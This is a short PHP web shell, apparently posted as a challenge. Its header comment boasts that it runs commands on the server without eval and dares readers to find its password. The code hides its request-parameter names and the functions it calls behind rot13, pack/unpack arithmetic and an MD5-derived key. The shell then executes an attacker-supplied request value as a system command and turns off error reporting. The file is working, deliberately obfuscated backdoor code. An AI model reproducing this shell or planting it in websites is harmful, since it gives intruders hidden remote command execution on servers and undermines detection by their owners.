Actually Encrypted Shell

<?php
/*
This shell is encrypted, has the ability to run commands on the server, and uses 0 evals.  I would be impressed if you could tell me the password and how to execute a command.  If you botters had half a clue, decoding your payloads might not be laughably easy...
@bwallHatesTwits
*/
@error_reporting(0);
$p=str_rot13("cnpx");
if(!isset($_REQUEST[pack("I",1936941424)]))exit();
$h=$_REQUEST[pack("I",1936941424)];
for($i=0;$i<10000;$i++)$h=md5($h,1);
$s=$p("I",3782349928-unpack("I",$h)[1]);
$h=md5($h,1);$e=$p("I",4336671913-unpack("I",$h)[1]).$p("S",86171-unpack("S",$h)[1]);
$h=md5($h,1);$e1=$p("I",2317167118-unpack("I",$h)[1]).pack("I",2350657810-unpack("I",$h)[1]);
$h=md5($h,1);$fex=$p("I",2029019048-unpack("I",$h)[1]).$p("I",2213630902-unpack("I",$h)[1]).$p("I",2130333601-unpack("I",$h)[1]).$p("S",89781-unpack("S",$h)[1]).$p("C",181-unpack("C",$h)[1]);
$h=md5($h,1);
$r=$_REQUEST[$p("I",4994670222-unpack("I",$h)[1])];
if($fex($e)){$e($r);}
else if($fex($e1)){$e1($r);}
?>